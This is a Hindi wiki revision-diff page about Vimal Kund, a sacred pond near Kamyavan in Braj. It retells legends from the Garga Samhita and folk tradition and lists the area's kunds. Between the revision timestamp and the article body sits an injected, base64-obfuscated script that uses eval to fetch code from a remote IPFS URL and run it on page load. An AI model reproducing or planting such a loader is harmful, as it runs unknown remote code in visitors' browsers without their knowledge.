"विमल कुण्ड" के अवतरणों में अंतर

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
नेविगेशन पर जाएँ खोज पर जाएँ
पंक्ति १९: पंक्ति १९:
 
जनश्रुति के अनुसार चातुर्मास्य काल में विश्व के सारे तीर्थ [[ब्रज]] में आगमन करते हैं । एक बार चातुर्मास्य काल में तीर्थराज पुष्कर ब्रज में नहीं आये । श्रीकृष्ण ने योगमाया का स्मरण किया । स्मरण करते ही पृथ्वीतल से एक जल का प्रबल प्रवाह निकला । आश्चर्य की बात उस पवित्र जल के प्रवाह से सब प्रकार के मलों से रहित परम सुन्दर एक किशोरी प्रकट हुई । श्रीकृष्ण ने उस सुन्दरी के साथ जल–प्रवाह में विविध प्रकार से जलविहार किया । उस किशोरी ने अपनी विशुद्ध प्रेममयी सेवाओं और सौन्दर्य से परम रसिक श्रीकृष्ण को परितृप्त कर दिया । श्रीकृष्ण ने परितृप्त होकर उस किशोरी को वरदान दिया कि आज से तुम विमला देवी के नाम से विख्यात होगी । यह कुण्ड तुम्हारे नाम से प्रसिद्ध होगा । इसमें स्नान करने से तीर्थराज पुष्कर में स्नान करने की अपेक्षा सात गुणा अधिक पुण्यफल प्राप्त होगा । तब से यह कुण्ड विमलाकुण्ड के नाम से विख्यात हुआ । इस कुण्ड के किनारे श्रीकृष्ण की भक्ति प्राप्त करने के लिए बड़े–बड़े ऋषि–महर्षियों ने वास किया है । महर्षि दुर्वासा और पाण्डवों का निवास यहाँ प्रसिद्ध ही है । प्रत्येक ब्रजमण्डल परिक्रमा–मण्डली अथवा परिक्रमा करने वाले यात्री यहाँ निवास करते हैं तथा यहीं से [[काम्यवन]] की परिक्रमा आरम्भ करते हैं ।
 
जनश्रुति के अनुसार चातुर्मास्य काल में विश्व के सारे तीर्थ [[ब्रज]] में आगमन करते हैं । एक बार चातुर्मास्य काल में तीर्थराज पुष्कर ब्रज में नहीं आये । श्रीकृष्ण ने योगमाया का स्मरण किया । स्मरण करते ही पृथ्वीतल से एक जल का प्रबल प्रवाह निकला । आश्चर्य की बात उस पवित्र जल के प्रवाह से सब प्रकार के मलों से रहित परम सुन्दर एक किशोरी प्रकट हुई । श्रीकृष्ण ने उस सुन्दरी के साथ जल–प्रवाह में विविध प्रकार से जलविहार किया । उस किशोरी ने अपनी विशुद्ध प्रेममयी सेवाओं और सौन्दर्य से परम रसिक श्रीकृष्ण को परितृप्त कर दिया । श्रीकृष्ण ने परितृप्त होकर उस किशोरी को वरदान दिया कि आज से तुम विमला देवी के नाम से विख्यात होगी । यह कुण्ड तुम्हारे नाम से प्रसिद्ध होगा । इसमें स्नान करने से तीर्थराज पुष्कर में स्नान करने की अपेक्षा सात गुणा अधिक पुण्यफल प्राप्त होगा । तब से यह कुण्ड विमलाकुण्ड के नाम से विख्यात हुआ । इस कुण्ड के किनारे श्रीकृष्ण की भक्ति प्राप्त करने के लिए बड़े–बड़े ऋषि–महर्षियों ने वास किया है । महर्षि दुर्वासा और पाण्डवों का निवास यहाँ प्रसिद्ध ही है । प्रत्येक ब्रजमण्डल परिक्रमा–मण्डली अथवा परिक्रमा करने वाले यात्री यहाँ निवास करते हैं तथा यहीं से [[काम्यवन]] की परिक्रमा आरम्भ करते हैं ।
 
==काम्यवन के कुण्ड==
 
==काम्यवन के कुण्ड==
 
+
'''.''' [[विमल कुण्ड]] '''.''' [[गोपिका कुण्ड]] '''.''' [[सुवर्णपुर]] '''.''' [[गया कुण्ड]] '''.''' [[धर्म कुण्ड]] '''.''' [[यज्ञ कुण्ड]] '''.''' [[पंचतीर्थ सरोवर]] '''.''' [[परममोक्ष कुण्ड]] '''.''' [[मणिकर्णिका कुण्ड]] '''.''' [[निवास कुण्ड]] '''.''' [[यशोदा कुण्ड]] '''.''' [[मनोकामना कुण्ड]] '''.''' [[गोपिकारमण कुण्ड]] '''.''' [[सेतुबन्ध रामेश्वर कुण्ड]] '''.''' [[ध्यान कुण्ड]]  '''.''' [[तप्त कुण्ड]] '''.''' [[जलविहार कुण्ड]] '''.''' [[जलक्रीड़ा कुण्ड]] '''.''' [[रंगीला कुण्ड]] '''.''' [[छबीला कुण्ड]] '''.''' [[जकीला कुण्ड]] '''.''' [[मतीला कुण्ड]] '''.''' [[दतीला कुण्ड]] '''.''' [[पञ्च कुण्ड]] '''.''' [[घोषरानी कुण्ड]] '''.''' [[विहृल कुण्ड]] '''.''' [[श्याम कुण्ड]] '''.''' [[गोमती कुण्ड]] '''.''' [[द्वारका कुण्ड]] '''.''' [[मान कुण्ड]] '''.''' [[ललिता कुण्ड]] '''.''' [[विशाखा कुण्ड]] '''.''' [[दोहनी कुण्ड]] '''.''' [[मोहिनी कुण्ड]] '''.''' [[बलभद्र कुण्ड]] '''.''' [[चतुर्भुज कुण्ड]] '''.''' [[सुरभी कुण्ड]] '''.''' [[वत्स कुण्ड]] '''.''' [[लुकलुकी कुण्ड]] '''.''' [[गोविन्द कुण्ड]] '''.''' [[नेत्रमीचन कुण्ड]] '''.''' [[फिसलनी शिला]] '''.''' [[व्योमासुर गुफा]] '''.''' [[भोजनथाली]] '''.''' [[सुमना सखी का विवाहस्थल]] '''.''' [[ललिता ग्रन्थिदत्त स्थान]] '''.''' [[विष्णु चिन्हपाद–पर्वत]] '''.''' [[गरूड़ तीर्थ]] '''.''' [[कपिल तीर्थ]] '''.''' [[लोहजंघऋषि–स्थान]] '''.''' [[होड़ स्थान]] '''.''' [[इन्दुलेखादेवी स्थल]] '''.''' [[बलराम स्थल]] '''.''' [[बलराम के हल की रेखा]] '''.''' [[कृष्ण कूप]] '''.''' [[संक्ङर्षण कुण्ड]] '''.''' [[लोकेश्वर नामक गुह्य तीर्थ]] '''.''' [[वराहकुण्ड]] '''.''' [[सतीकुण्ड]] '''.''' [[चन्द्रसखी पुष्करिणी]] '''.''' [[चन्द्रशेखर शिवमूर्ति]] '''.''' [[श्रृंगार तीर्थ]] '''.''' [[प्रभा लल्ली]] '''.''' [[भारद्वाज ऋषि कूप]] '''.''' [[प्रयाग कुण्ड]] '''.''' [[नारद कुण्ड]] '''.'''
'''.''' [[विमल कुण्ड]] '''.''' [[गोपिका कुण्ड]] '''.''' [[सुवर्णपुर]] '''.''' [[गया कुण्ड]] '''.''' [[धर्म कुण्ड]] '''.''' [[यज्ञ कुण्ड]] '''.''' [[पंचतीर्थ सरोवर]] '''.''' [[परममोक्ष कुण्ड]] '''.''' [[मणिकर्णिका कुण्ड]] '''.''' [[निवास कुण्ड]] '''.''' [[यशोदा कुण्ड]] '''.''' [[मनोकामना कुण्ड]] '''.''' [[गोपिकारमण कुण्ड]] '''.''' [[सेतुबन्ध रामेश्वर कुण्ड]] '''.''' [[ध्यान कुण्ड]]  '''.''' [[तप्त कुण्ड]] '''.''' [[जलविहार कुण्ड]] '''.''' [[जलक्रीड़ा कुण्ड]] '''.''' [[रंगीला कुण्ड]] '''.''' [[छबीला कुण्ड]] '''.''' [[जकीला कुण्ड]] '''.''' [[मतीला कुण्ड]] '''.''' [[दतीला कुण्ड]] '''.''' [[पञ्च कुण्ड]] '''.''' [[घोषरानी कुण्ड]] '''.''' [[विहृल कुण्ड]] '''.''' [[श्याम कुण्ड]] '''.''' [[गोमती कुण्ड]] '''.''' [[द्वारका कुण्ड]] '''.''' [[मान कुण्ड]] '''.''' [[ललिता कुण्ड]] '''.''' [[विशाखा कुण्ड]] '''.''' [[दोहनी कुण्ड]] '''.''' [[मोहिनी कुण्ड]] '''.''' [[बलभद्र कुण्ड]] '''.''' [[चतुर्भुज कुण्ड]] '''.''' [[सुरभी कुण्ड]] '''.''' [[वत्स कुण्ड]] '''.''' [[लुकलुकी कुण्ड]] '''.''' [[गोविन्द कुण्ड]] '''.''' [[नेत्रमीचन कुण्ड]] '''.''' [[फिसलनी शिला]] '''.''' [[व्योमासुर गुफा]] '''.''' [[भोजनथाली]] '''.''' [[सुमना सखी का विवाहस्थल]] '''.''' [[ललिता ग्रन्थिदत्त स्थान]] '''.''' [[विष्णु चिन्हपाद–पर्वत]] '''.''' [[गरूड़ तीर्थ]] '''.''' [[कपिल तीर्थ]] '''.''' [[लोहजंघऋषि–स्थान]] '''.''' [[होड़ स्थान]] '''.''' [[इन्दुलेखादेवी स्थल]] '''.''' [[बलराम स्थल]] '''.''' [[बलराम के हल की रेखा]] '''.''' [[कृष्ण कूप]] '''.''' [[संक्ङर्षण कुण्ड]] '''.''' [[लोकेश्वर नामक गुह्य तीर्थ]] '''.''' [[वराहकुण्ड]] '''.''' [[सतीकुण्ड]] '''.''' [[चन्द्रसखी पुष्करिणी]] '''.''' [[चन्द्रशेखर शिवमूर्ति]] '''.''' [[श्रृंगार तीर्थ]] '''.''' [[प्रभा लल्ली]] '''.''' [[भारद्वाज ऋषि कूप]] '''.''' [[प्रयाग कुण्ड]] '''.'''
 

११:५९, ८ सितम्बर २००९ का अवतरण

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

अन्य सम्बंधित लिंक


विमल कुण्ड / Vimal Kund

कामवन ग्राम से दो फर्लांग दूर दक्षिण–पश्चिम कोण में प्रसिद्ध विमलकुण्ड स्थित है । कुण्ड के चारों ओर क्रमश: (1) दाऊजी, (2) सूर्यदेव, (3) श्रीनीकंठेश्वर महादेव, (4) श्रीगोवर्धननाथ, (5) श्रीमदन मोहन एवं काम्यवन विहारी, (6) श्रीविमल विहारी, (7) विमला देवी, (8) श्रीमुरलीमनोहर, (9) भगवती गंगा और (10) श्रीगोपालजी विराजमान हैं ।

प्रसंग

गर्ग संहिता के अनुसार प्राचीनकाल में सिन्धु देश की चम्पकनगरी में विमल नामक के एक प्रतापी राजा थे । उनकी छह हजार रानियों में से किसी को कोई सन्तान नहीं थी । श्रीयाज्ञवल्क्य ऋषि की कृपा से उन रानियों के गर्भ से बहुत सी सुन्दर कन्याओं ने जन्म ग्रहण किया । वे सभी कन्याएँ पूर्व जन्म में जनकपुर की वे स्त्रियाँ थीं जो श्रीरामचन्द्रजी को पति रूप से प्राप्त करने की इच्छा रखती थीं । राजा विमल के घर जन्म ग्रहण करने पर जब वे विवाह के योग्य हुई, तब महर्षि याज्ञवल्क्य की सम्मति से राजा विमल ने अपनी कन्याओं के लिए सुयोग्य वर श्रीकृष्ण को ढूँढने के लिए अपना दूत मथुरापुरी में भेजा । सौभाग्य से मार्ग में उस दूत की भेंट श्रीभीष्मपितामह से हुई । श्रीभीष्मपितामह ने उस दूत को श्रीकृष्ण का दर्शन करने के लिए श्रीवृन्दावन भेजा । श्रीकृष्ण उस समय वृन्दावन में विराजमान थे । राजदूत ने वृन्दावन पहुँचकर श्रीकृष्ण को राजा विमल का निमंत्रण–पत्र दिया, जिसमें श्रीकृष्ण को चम्पक नगरी में आकर राजकन्याओं का पाणिग्रहण करने की प्रार्थना की गई थी । श्रीकृष्ण, महाराज विमल का निमंत्रण पाकर चम्पक नगरी पहुँचे और राजकन्याओं को अपने साथ ब्रजमंडल के इस कामनीय कामवन में ले आये । उन्होंने उन कन्याओं की संख्या के अनुरूप रूप धारणकर उन्हें अंगीकार किया । उनके साथ रास आदि विविध प्रकार की क्रीड़ाएँ कीं । उन कुमारियों की चिरकालीन अभिलाषा पूर्ण हुई । उनके आनन्दाश्रु से प्रपूरित यह कुण्ड विमलकुण्ड के नाम से प्रसिद्ध हुआ । इस विमल कुण्ड में स्नान करने से लौकिक, अलौकिक एवं अप्राकृत सभी प्रकार की कामनाएँ पूर्ण होती हैं । हृदय निर्मल होता है तथा उसमें ब्रजभक्ति का संचार होता है ।

द्वितीय प्रसंग

जनश्रुति के अनुसार चातुर्मास्य काल में विश्व के सारे तीर्थ ब्रज में आगमन करते हैं । एक बार चातुर्मास्य काल में तीर्थराज पुष्कर ब्रज में नहीं आये । श्रीकृष्ण ने योगमाया का स्मरण किया । स्मरण करते ही पृथ्वीतल से एक जल का प्रबल प्रवाह निकला । आश्चर्य की बात उस पवित्र जल के प्रवाह से सब प्रकार के मलों से रहित परम सुन्दर एक किशोरी प्रकट हुई । श्रीकृष्ण ने उस सुन्दरी के साथ जल–प्रवाह में विविध प्रकार से जलविहार किया । उस किशोरी ने अपनी विशुद्ध प्रेममयी सेवाओं और सौन्दर्य से परम रसिक श्रीकृष्ण को परितृप्त कर दिया । श्रीकृष्ण ने परितृप्त होकर उस किशोरी को वरदान दिया कि आज से तुम विमला देवी के नाम से विख्यात होगी । यह कुण्ड तुम्हारे नाम से प्रसिद्ध होगा । इसमें स्नान करने से तीर्थराज पुष्कर में स्नान करने की अपेक्षा सात गुणा अधिक पुण्यफल प्राप्त होगा । तब से यह कुण्ड विमलाकुण्ड के नाम से विख्यात हुआ । इस कुण्ड के किनारे श्रीकृष्ण की भक्ति प्राप्त करने के लिए बड़े–बड़े ऋषि–महर्षियों ने वास किया है । महर्षि दुर्वासा और पाण्डवों का निवास यहाँ प्रसिद्ध ही है । प्रत्येक ब्रजमण्डल परिक्रमा–मण्डली अथवा परिक्रमा करने वाले यात्री यहाँ निवास करते हैं तथा यहीं से काम्यवन की परिक्रमा आरम्भ करते हैं ।

काम्यवन के कुण्ड

. विमल कुण्ड . गोपिका कुण्ड . सुवर्णपुर . गया कुण्ड . धर्म कुण्ड . यज्ञ कुण्ड . पंचतीर्थ सरोवर . परममोक्ष कुण्ड . मणिकर्णिका कुण्ड . निवास कुण्ड . यशोदा कुण्ड . मनोकामना कुण्ड . गोपिकारमण कुण्ड . सेतुबन्ध रामेश्वर कुण्ड . ध्यान कुण्ड . तप्त कुण्ड . जलविहार कुण्ड . जलक्रीड़ा कुण्ड . रंगीला कुण्ड . छबीला कुण्ड . जकीला कुण्ड . मतीला कुण्ड . दतीला कुण्ड . पञ्च कुण्ड . घोषरानी कुण्ड . विहृल कुण्ड . श्याम कुण्ड . गोमती कुण्ड . द्वारका कुण्ड . मान कुण्ड . ललिता कुण्ड . विशाखा कुण्ड . दोहनी कुण्ड . मोहिनी कुण्ड . बलभद्र कुण्ड . चतुर्भुज कुण्ड . सुरभी कुण्ड . वत्स कुण्ड . लुकलुकी कुण्ड . गोविन्द कुण्ड . नेत्रमीचन कुण्ड . फिसलनी शिला . व्योमासुर गुफा . भोजनथाली . सुमना सखी का विवाहस्थल . ललिता ग्रन्थिदत्त स्थान . विष्णु चिन्हपाद–पर्वत . गरूड़ तीर्थ . कपिल तीर्थ . लोहजंघऋषि–स्थान . होड़ स्थान . इन्दुलेखादेवी स्थल . बलराम स्थल . बलराम के हल की रेखा . कृष्ण कूप . संक्ङर्षण कुण्ड . लोकेश्वर नामक गुह्य तीर्थ . वराहकुण्ड . सतीकुण्ड . चन्द्रसखी पुष्करिणी . चन्द्रशेखर शिवमूर्ति . श्रृंगार तीर्थ . प्रभा लल्ली . भारद्वाज ऋषि कूप . प्रयाग कुण्ड . नारद कुण्ड .